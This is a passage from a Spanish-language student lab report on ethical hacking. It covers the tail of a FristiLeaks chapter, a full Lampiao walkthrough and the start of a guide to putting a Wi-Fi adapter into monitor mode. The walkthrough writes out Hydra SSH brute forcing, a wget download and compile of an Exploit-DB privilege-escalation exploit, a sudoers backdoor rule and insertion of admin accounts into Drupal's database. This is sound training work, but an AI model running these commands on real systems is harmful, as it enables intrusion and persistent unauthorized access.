también son aceptados por la aplicación web. Esto demuestra que teníamos control sobre la base 

de datos y que era posible colar cuentas falsas para entrar al panel de administración. 

 

Figura  159. Verificación Exitosa 2 Usuario 

Luego de esto mostramos la prueba de lo que se hizo fue correcto ingresando y logueandome 



 

 

Figura  160. Nos logueamos con el 2  usuario 

En esta otra captura estamos probando el segundo usuario que insertamos en la base de 

datos: usuariomanuel con la clave soyelnumero2. Igual que en el caso anterior, lo que hacemos 

es ir al formulario de login de FristiLeaks y colocar las credenciales creadas manualmente en la 

tabla members. Esto confirma que no solo funcionó con un usuario, sino que cualquier cuenta 

que añadamos directamente en la base de datos queda lista para iniciar sesión en la aplicación 

web. En pocas palabras, teníamos control total para crear accesos “a la medida” dentro del 

sistema. 

 

Figura  161. verificación Exitosa 2 Usuario 

Por último, mostramos que en este caso también funciono el proceso que hicimos , lo 

mostramos ingresando a la página web.  

 



 

6. Capítulo 6.  Hacking Ético a Lampiao Utilizando Kali Linux 

 

6.1. Introducción 

El presente informe documenta de manera detallada el proceso de identificación, análisis 

y explotación de vulnerabilidades sobre una máquina virtual deliberadamente vulnerable 

(Metasploitable/Lampião) dentro de un entorno de laboratorio controlado. El ejercicio se 

desarrolló sobre una topología de red montada en VirtualBox con adaptadores en modo NAT, 

cumpliendo las condiciones y pautas establecidas por el docente para la práctica académica. 

Todas las acciones descritas en este informe se realizaron con fines estrictamente educativos y 

bajo los principios éticos del pentesting autorizado: no se llevaron a cabo ataques contra sistemas 

ni redes ajenos fuera del entorno provisto para la práctica. 

La finalidad técnica del trabajo fue aplicar y consolidar conceptos clave de la 

ciberseguridad ofensiva: reconocimiento activo de la red y servicios, enumeración de versiones, 

búsqueda y validación de exploits conocidos, generación de wordlists específicas y ejecución de 

payloads para obtener acceso remoto y escalada de privilegios. Para ello se emplearon 

herramientas estándar del ecosistema de pruebas de intrusión —entre ellas Nmap para el 

reconocimiento y fingerprinting, Metasploit Framework para la enumeración y explotación, y 

utilidades como CeWL y Hydra para generación de diccionarios y ataques de fuerza bruta—, 

además de utilidades del sistema (scp, g++, mysql, editor de texto) durante la fase de post-

explotación y verificación. 

Concluimos diciendo que este informe no solo registra las acciones realizadas y los 

resultados obtenidos, sino que también extrae lecciones y recomendaciones de mitigación 

actualización de software, endurecimiento de servicios, uso de mecanismos de autenticación 



 

robustos y monitoreo de logs con el objetivo de transformar la evidencia práctica en medidas 

concretas para mejorar la seguridad.  

6.2. Alcance 

Durante este tiempo se realizó la configuración de las máquinas virtuales, se ejecutaron 

las pruebas correspondientes, se recopilaron evidencias (capturas de pantalla, salidas de 

comandos, configuraciones relevantes) y se sistematizó la información en el presente informe, 

con el fin de dejar constancia del procedimiento y servir como insumo de estudio para 

evaluaciones futuras. 



 

6.3. Objetivos 

6.3.1 General  

Documentar el proceso completo de reconocimiento, explotación y post-explotación sobre la 

máquina objetivo (Lampião), aplicando técnicas de escaneo, enumeración, obtención de 

credenciales, explotación local y manipulación de la aplicación web, para aprender las 

vulnerabilidades, su explotación controlada y las medidas de mitigación recomendadas.  

6.3.2 Específicos  

• Configurar correctamente el entorno de red entre las máquinas virtuales (atacante 

y víctima) dentro de VirtualBox, asegurando la conectividad a través de una red 

NAT denominada “SEMESTRE9-2025-1”. 

Realizar el reconocimiento de la red y de la máquina objetivo mediante escaneos 

(nmap) para identificar hosts, puertos y versiones de servicios. 

• Enumerar usuarios y servicios (SSH, MySQL, HTTP, SMB, etc.) usando 

herramientas como Metasploit y utilidades de enumeración. 

• Generar wordlists específicas del objetivo (cewl) y emplearlas en ataques de 

fuerza bruta controlados (hydra) para obtener credenciales válidas. 

• Establecer acceso inicial mediante SSH y transferir los ficheros necesarios (scp), 

preparar y compilar exploits locales (g++). 

• Elaborar un informe que incluya metodología, comandos usados, resultados, 

evidencias (capturas) y recomendaciones de mitigación para cada vulnerabilidad 

explotada.   



 

6.4. Planteamiento Del Problema 

En un entorno cada vez más digitalizado e interconectado, las organizaciones, 

instituciones educativas y usuarios particulares dependen en gran medida de sistemas 

informáticos que ofrecen múltiples servicios en red. Esta creciente dependencia ha traído consigo 

una expansión de la superficie de ataque, es decir, el conjunto de puntos vulnerables por donde 

un atacante podría comprometer la seguridad de un sistema. A pesar de los avances tecnológicos 

en software y hardware, muchos servicios siguen presentando fallas de configuración, versiones 

obsoletas o vulnerabilidades conocidas que pueden ser explotadas fácilmente si no se identifican 

y mitigan a tiempo. 

En el ámbito educativo, uno de los principales desafíos consiste en brindar a los 

estudiantes oportunidades para aplicar de forma práctica los conocimientos adquiridos en el aula 

sobre seguridad informática, análisis de vulnerabilidades y técnicas de explotación. Sin embargo, 

realizar prácticas de hacking ético directamente sobre sistemas reales implica riesgos éticos, 

legales y operacionales. Es por ello que el uso de entornos virtualizados, como Metasploitable, se 

ha convertido en una herramienta fundamental para el aprendizaje responsable y seguro de estas 

habilidades. 

A pesar de contar con estos recursos, muchos estudiantes no comprenden con claridad la 

forma adecuada de aplicar las herramientas de análisis y explotación, ni los pasos metodológicos 

necesarios para llevar a cabo una prueba de penetración completa y estructurada. El 

desconocimiento sobre cómo descubrir servicios vulnerables, identificar exploits adecuados o 

ejecutar un ataque sin comprometer la estabilidad del entorno puede dificultar el proceso de 

aprendizaje y limitar la comprensión de los conceptos clave de ciberseguridad ofensiva. 



 

Este informe surge como respuesta a la necesidad de documentar de forma clara y 

práctica cómo realizar una prueba de penetración ética sobre una máquina vulnerable, replicando 

un escenario realista en un entorno académico controlado. En este caso, se hace uso de 

herramientas ampliamente reconocidas como Nmap, para el reconocimiento activo de la red, 

directorios privados entre otras herramientas que explicaremos a continuación.  



 

6.5. Subcapítulo 1: Importación y Configuración de la Máquina Virtual Lampiao en 

VirtualBox. 

6.5.1  Importación de la máquina virtual lampiao 

Para comenzar a realizar nuestro laboratorio de práctica, lo primero que hicimos importa 

la maquina por medio de su ovf esto lo hicimos de la siguiente forma. 

 

Figura  162. Abrimos VirtualBox 

Abrimos virtual box y nos vamos al apartado de archivos, luego de estar aquí le damos al 

apartado de importar  

 

Figura  163. Importamos la maquina 

Luego seleccionamos la hizo seleccionar el ovf para poder tener nuestra máquina. 

x 



 

 

Figura  164. Se selecciona el ovf 

Aquí le damos clic al apartado de archivos y vamos a la ruta en donde tenemos nuestro 

ovf, esto es necesario porque de aquí es donde estaremos importando la máquina.  

 

Figura  165. Maquina importada 

Después de espera el proceso de cargue importación de nuestra maquina no saldrá algo 

como lo visto en la  figura anterior, aquí lo que haremos es configurar de una el adaptador de red 

para poder tener comunicación con nuestras otras maquinas.  

6.5.2  Configuración de la maquina Lampiao 

Para el proceso de configuración lo que se hizo fue configurar nuestro adaptador de red, 

esto se hace con el objetivo de permitir que nuestra maquina tenga comunicación con las otras 

maquinas que estén conectada a esta misma red Nat, para este caso la red Nat tendrá el nombre 

de semestre 9 2025 1 y la configuraremos de la siguiente manera: 



 

6.5.2.1 Ingresamos a la configuración 

Ingresamos a la configuración de nuestra maquina Lampiao y nos posicionamos en e 

apartado de red tal cual como lo mostramos en esta figura.  

 

Figura  166. Ingresamos al apartado de red 

6.5.2.2 Configuramos el adaptador Nat 

Luego de posicionarnos aquí lo que haremos es cambiar el apartado conectado a del 

adaptador por defecto a Red NAT  y esto nos mostrara la red nat creada en un laboratorio anterior 

cuyo nombre mencione anteriormente.  

 

Figura  167. Configuracion de la red Nat 



 

6.5.2.3  Configuramos el apartado de portapapeles y copiar y pegar  

Aquí básicamente lo que hice fue permitir que desde mi pc físico pueda pasar 

información a mi maquina virtual y copiar y pegar por eso lo puse como bidireccional en ambos 

casos.  

 

Figura  168. Configuración avanzada 

6.5.3  Ejecutamos la maquina Lampiao  

Lo último que hacemos para este caso es ejecutar nuestra maquina Lampio para ver que 

las configuraciones hechas funcionaron correctamente.  

 

Figura  169. Ejecución de la maquina 

  



 

6.6. Subcapítulo 2:  Inicio de Vulneración de la maquina Lampio 

6.6.1 Escaneamos la red del Nat 

Lo primero que hicimos fue escanear la red para saber cuál es la dirección ip de nuestra 

maquina Lampio, esto lo hicimos con el comando nmap -sV 192.1.1.0/24 

 

Figura  170. Escaneamos la red 



 

Aquí identificamos nuestra maquina Lampiao, después procedemos a hacer un escáner a 

los primeros 2000 puertos tcp de la ip de nuestra maquina víctima. Con el comando nmap -p 1-

2000 192.1.1.17  de la siguiente forma. 

 

Figura  171. Escaneo al ip de lampiao 

6.6.2  Ingresamos al home del puerto 80 a través de la ip  

Después de este escaneo procedimos a ingresar a la ip de nuestra servicio http que hay en 

el puerto 80, para esto fuimos a nuestro navegador e ingresamos la ip de la maquina Lampiao de 

la siguiente forma. 

 

Figura  172. Ingreamos al home 



 

Al ingresar al home nos salió la imagen que pueden ver a continuación por lo que 

procedimos a ingresar el puerto tcp  1898 que nos encontramos en el escáner. 

 

Figura  173. Home de Lampiao  

Luego de estar aquí intente registrar un usuario para ver si podía ingresar a la plataforma, 

pero como verán, no fue posible hacer esto.  

 

Figura  174. Registro del usuario 



 

 

Figura  175. Denegación del registro 

6.6.3 Utilizamos y eh intentamos crear un Directorios 

Después de la denegación del registro procedimos a intentar conseguir un usuario y 

contraseña dentro que nos permitieran ingresar y loguearnos. 

 

Figura  176. Se obtiene más información atrás ves de nmap-A -sC 

 



 

Utilice el comando nmap -p 22 192.1.1.17 -A -sC para obtener información detallada del 

servicio SSH identificado anteriormente  ya que lo que quería hacer era intentar sacar un usuario 

que me permitiera ingresar a la red. 

 

Figura  177. Posible usuarios 

Lo que hicimos fue intentar crear nuestro propio diccionario haciendo un análisis de las 

paginas presentes en el home, pero como esto era muy tedioso procedimos a hacerlo mediante 

comando. 

6.6.4  Creación de nuestro diccionario  

Como queríamos crear nuestro diccionario utilizamos el comando cewl 

http://192.1.1.17:1898/ --Write Diclampiao.txt para crear un diccionario con el nombre 

Diclampiao y con la extencion . txt   

 



 

 

Figura  178. Información o luego de crear el diccionario de palabra 

El comando cewl http://192.1.1.17:1898/ --write Diclampiao.text rastrea la página 

indicada, extrae palabras relevantes (títulos, texto y enlaces) y genera una lista de palabras 

(diccionario ), guardándola en el archivo Diclampiao.text para usar en ataques de diccionario 

posteriores o pruebas internas controladas. 

 

Figura  179. Visualización de nuestro directorio diclampiao 

 A continuación, lo que se hizo fue listas el contenido lor archivo con e comando ls, se 

listó el directorio para confirmar la presencia del archivo y se mostró su contenido con el 



 

comando cat Diclampiao.txt. En la salida aparecen las palabras extraídas (por ejemplo: 

Lampião, que, main, field, menu, etc.), que ahora pueden limpiarse y utilizarse como diccionario 

para ataques de fuerza bruta o pruebas controladas. Para mejorar la lista puede aplicarse sort -u 

para eliminar duplicados antes de usarla. 

6.6.5 Utilizamos directorio Hydra para nuestro ataque de fuerza bruta 

 

Figura  180. Directorio Hydra 

Para poder hacer nuestro ataque de fuerza bruta el profe nos recomendó usar Hydra, esta 

es  una herramienta de fuerza bruta para probar inicios de sesión contra servicios de red. Es muy 

usada por pentesters para comprobar la robustez de contraseñas en servicios como SSH, FTP, 

HTTP (formularios), SMB, MySQL, Postgres, RDP, entre muchos otros. Su objetivo es 

automatizar intentos masivos de usuario/contraseña usando diccionarios. 

 

Figura  181. Ataque de fuerza bruta 



 

 

Figura  182. Ataque de fuerza bruta con  Hydra contra SSH 

Lo que hicimos fue  lanzar un ataque de fuerza bruta con  Hydra contra SSH usando la 

diccionario  Diclampiao.txt, tras varios intentos encontramos credenciales válidas: usuario tiago 

y contraseña Virgulino. El ataque terminó mostrando "1 valid password found", con algunos 

subprocesos fallidos, pero el acceso se consiguió al final conseguimos ingresar. 

 

Figura  183. Comando con parámetros verbosos -v -V 

Ejecuté el comando con parámetros verbosos -v -V y le indiqué un usuario fijo  -l tiago y 

el diccionario  Diclampiao.txt como fuente de contraseñas -p Diclampiao.txt , de forma que 

Hydra probara todas las entradas del fichero contra ese usuario. El comando comprobó que la 

autenticación por contraseña estaba habilitada y luego intentó el login, en esta ejecución concreta 



 

el resultado fue  que no se encontró contraseña válida. Luego de esto y ya teniendo usuario y 

contraseña intentamos ingresas vía ssh. 

6.6.6  Tenemos un acceso exitoso por medio de  SSH 

Para ingresas atrás vez de ssh lo que hicimos fue ingresar con el comando ssh 

tiago@192.1.1.17 y la contraseña Virgulino  

 

Figura  184. Acceso exitoso por medio de  SSH 

Se consiguió un acceso inicial al sistema a través del servicio SSH puerto 22 empleando 

el usuario tiago hallado en la fase de reconocimiento. La conexión fue establecida y autenticada 

lo que de forma remota nos dio acceso a sistema Lampiao. 

  



 

6.7. Subcapítulo 3: Descarga de la Herramienta para escalar privilegios y creación de 

los usuarios en Lampiao  

Para poder crear los usuarios necesitamos escalar los privilegios así que lo primero que hicimos 

fue descargar una herramienta de GitHub recomendada por el docente S Morales, esta  

herramienta fue LinEnum. 

 Según el portal web (wiki.zachelle, 2021)   LinEnum es un script bash simple que ejecuta 

comandos comunes relacionados con la escalada de privilegios, ahorrando tiempo y 

permitiendo dedicar más esfuerzo a obtener root. Es importante comprender qué 

comandos ejecuta LinEnum, para poder enumerar manualmente las vulnerabilidades de 

privesc en una situación en la que no puede usar LinEnum u otros scripts similares. En 

esta sala, explicaremos qué muestra LinEnum y qué comandos se pueden usar para 

replicarlo. 

6.7.1  Descarga del directorio  

 

Figura  185.  GitHub del directorio LinEnum 



 

Para descargar esta herramienta lo que hicimos fue ingresar al navegador de Kali y buscar 

el directorio LinEnum en lo que nos llevó al siguiente enlace 

https://github.com/rebootuser/LinEnum?tab=readme-ov-file# 

 

 

Figura  186. Descargamos el directorio 

Para descargar el directorio luego ingresamos a nuestra consola y copiamos el comando 

git clone https://github.com/rebootuser/LinEnum.git  ya con esto se empezó a descargar el 

directorio.  

 

Figura  187. Ingresarmos  al directorio LinEnum 

https://github.com/rebootuser/LinEnum?tab=readme-ov-file


 

Aquí lo que hicimos fue ingresar  al directorio LinEnum, luego listar los elementos de 

nuestra herramienta para escalar privilegios,  después de listar los archivos presentes aquí 

ingresamos al script LineEnum.sh con el comando nano LineEnum.sh. 

 

Figura  188. Mostramos el nano LineEnum.sh. 

Dentro de este archivo en realidad no hicimos casi  nada, en este caso lo muestro con 

fines meramente visuales. 

 

Figura  189. Nos conectarnos al ssh, para buscar información y archivos ocultos 

 



 

Luego volvimos a conectarnos al ssh, aquí hicimos 4 cosas: la primera cosa que hicimos 

fue  ingresar al archivo home con el comando cd /home; Luego de eso,  lo 2 que se hizo fue 

listar los archivo donde revisamos que hay una carpeta tiago. Lo 3 que se hizo fue ingresar a esta 

carpeta con el comando cd tiago; por último, con el comando ls -la  dentro del home/tiago lo 

utilizamos para buscar archivos ocultos dentro de esta carpeta.  

 

Figura  190. Salirnos hasta el directorio raíz con el comando cd .. 

Luego de ello lo que busca los archivos ocultos en la carpeta, lo que hicimos después fue 

salirnos hasta el directorio raíz con el comando cd ..; Luego de lo que listamos los archivos 

presentes aquí. 

 

Figura  191. Ingresar a la carpeta o directorio etc, con el comando cd /etc 



 

Lo siguiente que se hizo fue ingresar a la carpeta o directorio etc., con el comando cd /etc 

y con el comando ls listamos su contenido.  

 

Figura  192. Ingresamos al archivo passwd 

Por último, ingresamos al archivo passwd con el comando nano /etc/passwd , aquí como 

tal no hicimos nada solo queríamos ver si había algo que nos sirviera.  

 

Figura  193. Visualizacion del archivo passwd con nano /etc/passwd 

 

Figura  194. Descargamos un exploit desde Exploit-DB 

Después, utilizando el comando wget https://www.exploit-db.com/download/40847 -O 

fotos.cpp  descargamos un exploit desde Exploit-DB (guardado como fotos.cpp) y con el 



 

comando ls, se verificó que el archivo estuviera en el directorio tal como se puede ver en nuestra 

imagen. 

 

Figura  195. Copiamos el archivo fotos.cpp hacia la victima 

Aquí lo que hicimos fue utilizar el comando scp fotos.cpp 

tiago@192.1.1.17:/home/tiago/ para copiar el archivo fotos.cpp desde la máquina atacante 

hacia el directorio /home/tiago/ en la máquina víctima. Al ejecutarlo se solicitó la contraseña 

de tiago y, tras autenticar, scp transfirió el fichero (se muestra el progreso, el tamaño y la 

velocidad). 

scp usa la misma conexión segura que SSH, por eso la transferencia queda cifrada. Como 

verificación rápida se puede comprobar en la víctima con ssh tiago@192.1.1.17 'ls -l 

/home/tiago/fotos.cpp'. 



 

 

Figura  196. Volvemos al ssh 

Lo siguiente que hicimos fue iniciar sesión por SSH con ssh tiago@192.1.1.17 para 

trabajar directamente en la máquina víctima y obtener un prompt remoto. 

Luego lo que hicimos fue ejecutar ls -la en el home de tiago para listar todos los archivos 

con detalles; la salida muestra permisos, propietario, tamaño y fecha. 

lo siguiente que se aprecia es que antes hubo un ls -la foto.cpp que falló por el nombre sin la “s”, 

y luego al listar correctamente se ve fotos.cpp presente en /home/tiago/ con tamaño 10531 bytes 

y esto confirma que la copia con scp se realizó correctamente. 

 

Figura  197. Compilamos el código fuente 



 

Procedimos a compilar el código fuente. Para ello se ejecutó g++ -Wall -pedantic -O2 -

std=c++11 -pthread -o documentos fotos.cpp -lutil, con lo que se generó el ejecutable llamado 

documentos. Luego usamos el comando chmod +x documentos y el comando ./documentos -s 

que nos permitieron loguearno para poder realizarla creación de los usuarios victor_longa y 

Manuel_mena en la maquina víctima. 

6.7.2 Creación de los usuarios  

 

Figura  198. Creamos el 1 usuario. 

Aquí lo que hicimos para crear los usuarios  fue ejecutar el comando adduser 

victor_longa para crear una nueva cuenta de sistema llamada victor_longa. Durante el proceso 

se mostró: 

Adding user 'victor_longa' : el sistema crea la cuenta. 

Adding new group 'victor_longa' (1001) : se crea un grupo con el mismo nombre. 

Creating home directory '/home/victor_longa' : se crea el directorio personal y se. 



 

A continuación, se nos pidieron datos opcionales (Full Name, Room Number, Work 

Phone, etc.). luego registramos el full name como victor manuel longa mena como nombre 

completo y otros valores; al final confirmamos con yes o y. 

 

Figura  199. Creamos el 2 usuario 

Para el siguiente usuario ósea manuel_mena se siguió el mismo paso a paso por lo que no 

explicare de nuevo el paso a paso de lo que se hizo, ya que literalmente fue lo mismo que 

explique anteriormente. 

6.7.2.1 Verificación de que el registro de los usuarios tuvo éxito 

Para verificar que el registro fue exitoso lo que hicimos fue ingresar los dos usuarios 

dentro de la nuestra maquina de Lampiao, tambien se pudo ingresar por el servicio del ssh pero 

como queríamos que fuese un poco mas practico lo hicimos de forma local y no de forma 

remota.  



 

 

Figura  200. Prueba exitosa  usuario victor_longa 

 

Figura  201. Prueba usuario manuel_mena 

  



 

6.8. Subcapítulo 4:  Explotación del sitio web 

 

Figura  202. Limpiamos la consola 

Lo que hice aquí fue limpiar la consola con el comando clear antes de empezar a realizar 

el paso a paso necesario para que pudiéramos explotar el servicio web de Lampiao que 

mostramos anteriormente. 

6.8.1 Asignación de privilegios y verificación de acceso 

 

Figura  203. Asignamos privilegios a los usuarios 



 

Luego, para confirmar que los usuarios quedaran con permisos administrativos, hicimos 

cuatro acciones locales en la máquina Lampião: primero añadimos a victor_longa al grupo sudo 

con usermod -aG sudo victor_longa; después lo agregamos también al grupo root con 

usermod -aG root victor_longa; la tercera acción fue dejar una regla explícita en el fichero de 

sudoers con echo "victor_longa ALL=(ALL:ALL) ALL" >> /etc/sudoers para garantizar que 

pueda usar sudo para cualquier comando; y, por último, repetimos exactamente el mismo 

procedimiento para manuel_mena. 

 

Figura  204. Ingresar a la carpeta raíz con el comando 

Lo siguiente que hicimos fue ingresar a la carpeta raíz con el comando cd .. luego que 

estuvimos aquí el siguiente paso fue listar los archivos presentes, lo siguiente que hicimos fue 

ingresamos al directorio /var con con el comando cd var, y dentro de él entramos a la carpeta 

www con el comando cd www. Posteriormente, nos movimos al directorio html con cd html, 

que es donde generalmente se almacenan los archivos de las páginas web en Linux. Finalmente, 

con el comando ls pudimos visualizar todos los archivos y carpetas del sitio, entre ellos 

index.php, authorize.php, lampiao.jpg y otros archivos relacionados con la aplicación. 



 

6.8.2 Inserción de los datos de los usuarios  

 

Figura  205. Nos conectamos al servidor MySQL como el usuario drupaluser 

Aquí lo que hicimos fue utilizar el comando mysql -u drupaluser -p -h localhost drupal 

para conectarnos al servidor MySQL como el usuario drupaluser y abrir directamente la base de 

datos drupal. Al ejecutarlo se solicitó la contraseña (-p) y, tras autenticar, se mostró el prompt de 

MySQL (mysql>), listo para ejecutar consultas. Se aprecia además que el cliente MySQL cargó 

la información de tablas/columnas para autocompletar y muestra la versión del servidor, lo que 

confirma que la conexión se estableció correctamente. 



 

 

Figura  206. Empezamos a explorar la base de datos desde MySQL 

Luego lo que se hizo fue empezar a explorar la base de datos desde MySQL. 

Primero se ejecutó show databases;, lo que mostró las bases disponibles: information_schema y 

drupal. Luego, con el comando use drupal, se seleccionó la base de datos de interés. Después, se 

usó show tables, para listar todas las tablas dentro de drupal, apareciendo varias relacionadas 

con el sistema. 

 

Figura  207. Navegamos dentro del árbol del sitio web para localizar la configuración drupal 

Después que hicimos eso, navegamos dentro del árbol del sitio web para localizar la 

configuración de Drupal. Primero se ejecutó cd sites para entrar en el directorio sites de la web, 

luego ls para listar su contenido. A continuación, se entró en default con cd default y se volvió a 

listar (ls), mostrando los archivos clave default.settings.php, files y settings.php. En pocas 



 

palabras: se localizó la carpeta y los ficheros de configuración de la instalación Drupal para 

analizarlos o editarlos. 

 

Figura  208. Mostramos el archivo setting.php 

Aquí solo mostramos el archivo setting.php en el cual ingresamos usando el comando 

nano settings.php ; como tal, no realizamos ninguna configuración dentro de este archivo, el 

archivo básicamente nos muestra varias listas que contienen la base de datos, el nombre la 

contraseña etc. 

6.8.3 Creación de los archivos para generar el hash 

 

Figura  209. Creamos el archivo hash 

Usando el comando nano phpass_hash.php, creamos el archivo con ese nombre el cual tenia el 

siguiente contenido. 



 

 

Figura  210. Visualizamos el archivo Hash 

 

Figura  211. Se creo el archivo PasswordHash.php 

Aquí, con nano PasswordHash.php lo que se hizo fue crear el archivo 

PasswordHash.php en el editor de texto Nano. Dentro se pegó la implementación completa de la 

clase PasswordHash , se guardó con Ctrl+O y se cerró con Ctrl+X. El objetivo fue tener la clase 

completa en el sistema para generar y comprobar hashes PHPass localmente (y así crear hashes 

compatibles con la instalación de Drupal/Lampiao). 



 

 

Figura  212. Se creó un archivo de texto llamado phpass_hash.php 

Con nano phpass_hash.php se creó un archivo de texto llamado phpass_hash.php en el 

editor Nano para escribir el script que genera hashes phpass. En ese fichero se pegó el pequeño 

script PHP que hace require_once 'PasswordHash.php';, lee la contraseña, instancia 

PasswordHash(8, FALSE) y llama a HashPassword($pw) para imprimir el hash. 

 

Figura  213. Se genero el hash 

Por último, generamos nuestro hash con el comando php phpass_hash.php 

6.8.4  Insertamos los datos los usuarios a la base de datos  

Para insertar los datos a la base de datos, lo que hicimos fue insertar con el comando 

INSERT INTO los datos tanto del usuario victor_longa como de manuel_mena, esto lo hicimos 

tal como se ve a continuación.  



 

 

Figura  214. insertamos los datos de victor_longa 

 

Figura  215. insertamos los datos de manuel_mena 

6.8.4.1 Visualizamos lo mostrado en la base de datos 

Con el comando SELECT uid, name, maiL,status, pass  FROM users; lo que hicimos 

fue traer el usuario, nombre,correo, la contraseña y otros datos de la tabla usuario de nuestra base 

de datos tal como lo muestran las siguientes imágenes.  

 

Figura  216. Visualizamos parte de los datos insertados 

6.8.4.2 Insertamos el hash en la base de datos 

Lo siguiente que hicimos fue insertar el hash en nuestra base de datos usando la 

sentencias que se presentan en las imágenes.  



 

 

Figura  217. insertamos el hash par los usuarios 

Por último, mostramos lo utilizando el comando SELECT uid, name, maiL,pass  

FROM users; mostramos lo aplicado. 

 

Figura  218. Visualizamos los usuarios y sus hash 

  



 

7. Capítulo 7: Manual de Instalación y Configuración Del Adaptador Inalámbrico Tp-

Link Tl-Wn722n En Linux 

 

7.1. Introducción 

El presente manual tiene como objetivo guiar la instalación y configuración del adaptador 

inalámbrico TP-Link TL-WN722N en Kali Linux, brindando una referencia práctica y detallada 

para su correcto funcionamiento en modo monitor. A lo largo del documento, se explican los 

conocimientos previos sobre el adaptador, sus características principales, y la importancia de 

comprender su funcionamiento antes de iniciar la instalación. 

Se detallan los pasos necesarios para que Kali Linux detecte el adaptador, incluyendo la 

creación del filtro USB en la máquina virtual y la verificación de su reconocimiento en el 

sistema. Posteriormente, se aborda la instalación de los drivers, la preparación de la interfaz, la 

activación del modo monitor y la verificación mediante herramientas como airmon-ng e 

iwconfig. 

El manual también contempla los problemas más comunes que pueden surgir durante el 

proceso y proporciona soluciones claras para asegurar que el adaptador funcione correctamente. 

De esta manera, se garantiza un procedimiento ordenado y completo, desde la conexión física del 

dispositivo hasta su configuración avanzada, permitiendo a los usuarios realizar auditorías y 

análisis de redes inalámbricas de manera eficiente y segura. 

  



 

7.2. Objetivos 

7.2.1 General  

Guiar de manera práctica y detallada la instalación y configuración del adaptador 

inalámbrico TP-Link TL-WN722N en Kali Linux, incluyendo la puesta en modo monitor, la 

verificación de su funcionamiento y la resolución de posibles problemas durante el proceso. 

7.2.2 Específicos  

• Explicar los conocimientos previos necesarios sobre el adaptador TP-Link TL-

WN722N, incluyendo sus características técnicas y funcionamiento. 

• Describir paso a paso el proceso de detección del adaptador en Kali Linux, desde 

la conexión física hasta la comprobación en la máquina virtual. 

• Detallar la instalación de los drivers y dependencias, así como la preparación de la 

interfaz para habilitar el modo monitor. 

• Proporcionar soluciones a los problemas técnicos más comunes durante la 

instalación y configuración, garantizando que el adaptador funcione 

correctamente para análisis de redes inalámbricas. 

  



 

7.3. Planteamiento Del Problema 

Durante la configuración del adaptador inalámbrico TP-Link TL-WN722N en Kali 

Linux, surgieron varios desafíos técnicos que dificultaban su correcta instalación y 

funcionamiento. Uno de los problemas principales fue que la máquina virtual no detectaba el 

adaptador debido a la falta de creación del filtro USB, elemento indispensable para que el 

dispositivo sea reconocido por el sistema. 

Adicionalmente, servicios del sistema que podían interferir con la interfaz inalámbrica, 

impidiendo la activación del modo monitor necesario para capturar tráfico de red. Estos 

inconvenientes retrasan el proceso de instalación y limitan la capacidad de utilizar el adaptador 

para auditorías de redes y análisis de tráfico inalámbrico, afectando la eficacia de las prácticas de 

seguridad informática. 

Por ello, el presente manual busca proporcionar una guía detallada y paso a paso, que 

permita superar estos obstáculos, asegurando que el adaptador funcione correctamente en Kali 

Linux y cumpla con los objetivos de análisis y monitoreo de redes inalámbrica. 



 

7.4. Subcapítulo 1: Conocimientos Previos Sobre el Adaptador de Red Inalámbrico TP-

LINK Tl-WN722N 

 

Figura  219. Adaptador TP-LINK Tl-WN722N 

7.4.1 ¿Qué es el adaptador TP-LINK Tl-WN722N ? 

El TP-Link TL-WN722N es un adaptador de red inalámbrico USB diseñado para 

proporcionar conectividad Wi-Fi a computadores de escritorio o portátiles que no cuentan con 

tarjeta inalámbrica integrada o que requieren mejorar la calidad de su señal. Este dispositivo 

destaca por incluir una antena externa de alta ganancia, la cual permite optimizar tanto la 

transmisión como la recepción de la señal, asegurando así una conexión más estable y con mayor 

cobertura dentro del hogar u oficina. 

Según (TP-LINK, s. f.) TL-WN722N tiene una antena externa de alta ganancia para 

asegurar una transmisión y recepción de señal más fuertes. Esto le ayuda a obtener una 

conexión Wi-Fi estable en toda su casa. Además, la antena desmontable se puede girar y 

ajustar según sea necesario para adaptarse a varios entornos operativos. 



 

Una de sus ventajas principales es que la antena es desmontable y ajustable, lo que 

significa que puede girarse o cambiarse de posición según las condiciones del entorno, 

adaptándose a diferentes necesidades operativas. Esto lo convierte en una solución práctica para 

usuarios que buscan mejorar la estabilidad y el alcance de su red inalámbrica sin necesidad de 

reemplazar su equipo principal. 

 

Figura  220. Contenido que trae la caja del adaptador 

Al comprar el adaptador, dentro de su caja nos encontramos que trae: 

1) El adaptador de red con una antena desmontable. 

2) Manual de instrucciones para su instalación rápida 

3) Cable usb a usb para conectarlo en de forma indirecta al pc. 

7.4.2 Característica más importante de este adaptador 

Según (TP-LINK, s. f.) “El adaptador USB inalámbrico N TL-WN722N le permite 

conectar una computadora de escritorio o portátil a una red inalámbrica y acceder a una 



 

conexión a Internet de alta velocidad. Proporciona una velocidad inalámbrica de hasta 150 

Mbps, lo que es beneficioso para los juegos en línea o incluso la transmisión de video.” 

La principal característica del TP-Link TL-WN722N es su antena externa de alta 

ganancia de 4 dBi, la cual mejora de manera significativa la potencia de la señal Wi-Fi. Gracias a 

esto, el adaptador garantiza una transmisión y recepción más estables en comparación con otros 

dispositivos con antenas internas. Además, al ser desmontable y ajustable, la antena permite 

orientarla en diferentes direcciones, optimizando el rendimiento según las condiciones del 

entorno y ofreciendo mayor cobertura en el hogar u oficina. 

 

Figura  221. Característica del adaptador según su información 

  



 

7.5. Subcapítulo 2:  Pasos Para Hacer Que Kali Linux Detecte El Adaptador 

Inalámbrico  

Lo primero que debemos hacer es lograr que nuestra máquina virtual detecte el adaptador 

de red, esto es importante porque nos permite probar que al momento de instalar los driver todo 

funciona correctamente.  

7.5.1 Paso 1: Conecta el adaptador USB TL-WN722N a tu equipo físico 

Aunque suene un poco lógico, lo primero que debemos hacer conectar la antena o 

adaptador a nuestro pc, esto se hace con el fin de que sea detectado por nuestra máquina virtual, 

es importante revisar que si estemos dando acceso a nuestro puertos USB. 

 

Figura  222. Conectamos el adaptado a un puerto USB 

7.5.1.1 Creamos el filtro USB 

Lo siguiente que se hizo fue ingresar a VirtualBox luego ingresamos a la configuración 

de Kali Linux cuando estemos aquí haremos lo que se muestra en la siguiente imagen 



 

 

Figura  223. Ingreso al apartado USB 

 

Figura  224. Se crea el filtro USB 

En esa misma ventana, haz clic en el (que esta abajo de los puertos seriales) que está al 

lado derecho (donde dice “Filtros de dispositivos USB”) Le damos clic y nos debería mostrar 

una lista de dispositivos USB conectados. 

 

Figura  225. Se selecciona el adaptador en el filtro 

Al seleccionarlo nos saldrá lo que haremos es seleccionar el que corresponda a el 

adaptador TP-LINK Wireless USB Adapter. En mi caso era el Realtek 802.11n NIC. 



 

 

